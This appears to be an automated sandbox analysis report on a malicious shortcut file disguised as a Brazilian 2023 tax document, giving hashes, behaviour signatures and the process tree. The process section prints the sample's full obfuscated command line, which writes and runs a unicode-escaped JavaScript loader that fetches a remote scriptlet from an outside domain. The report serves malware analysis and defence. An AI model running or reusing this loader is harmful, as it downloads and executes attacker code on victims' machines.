Analysis
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max time kernel
29s -
max time network
33s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
06-06-2023 13:27
Static task
static1
Behavioral task
behavioral1
Sample
IRPF2023_R391071958.659826.33271..zip
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
IRPF2023_R391071958.659826.33271..zip
Resource
win10v2004-20230220-en
Behavioral task
behavioral3
Sample
IRPF2023_R391071958.659826.33271.lnk
Resource
win7-20230220-en
Behavioral task
behavioral4
Sample
IRPF2023_R391071958.659826.33271.lnk
Resource
win10v2004-20230220-en
General
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Target
IRPF2023_R391071958.659826.33271.lnk
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Size
1KB
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MD5
e880916fd36e6e85d5779efeeca4477f
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SHA1
5f86fde948792f9705b160b85fef3b07c02d9076
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SHA256
b2fc287a710dfbb956fc580a3dda95bd6b42dc420c83b614e6e2aacddd6e4611
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SHA512
1705467998be98974d8d59ec7af0d917a1fc99357bc389a0a1aecb5c2ecfdc0a2df1cf343b99efcb709be4d92892763955e05fcd0c8a0fe71129af07b84c0ee5
Malware Config
Signatures
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1524 wrote to memory of 1060 1524 cmd.exe 28 PID 1524 wrote to memory of 1060 1524 cmd.exe 28 PID 1524 wrote to memory of 1060 1524 cmd.exe 28
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\IRPF2023_R391071958.659826.33271.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:1524 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" C:\Windows\system32\cmd.exe /V/D/c "md C:\drtUPCO\>nul 2>&1 &&s^eT NQOZ=C:\drtUPCO\^drtUPCO.^Js&&echo eval('\u0076\u0061\u0072\u0020\u0043\u0068\u0064\u0069\u003d\u0022\u0073\u0022\u002b\u0022\u0063\u0072\u0022\u003b\u0044\u0068\u0064\u0069\u003d\u0022\u0069\u0070\u0074\u0022\u002b\u0022\u003a\u0068\u0022\u003b\u0045\u0068\u0064\u0069\u003d\u0022\u0054\u0074\u0022\u002b\u0022\u0050\u003a\u0022\u003b\u0047\u0065\u0074\u004f\u0062\u006a\u0065\u0063\u0074\u0028\u0043\u0068\u0064\u0069\u002b\u0044\u0068\u0064\u0069\u002b\u0045\u0068\u0064\u0069\u002b\u0022\u002f\u002f\u0032\u0069\u0065\u0061\u0061\u006c\u002e\u0064\u006d\u0065\u0061\u0062\u0065\u006c\u0068\u0061\u0065\u006f\u006b\u0061\u006c\u0069\u006c\u006c\u0072\u0074\u0061\u007a\u0069\u006e\u0067\u002e\u007a\u0061\u002e\u0063\u006f\u006d\u002f\u003f\u0036\u002f\u0022\u0029\u003b'); >!NQOZ!&&ca^ll !NQOZ!"2⤵PID:1060
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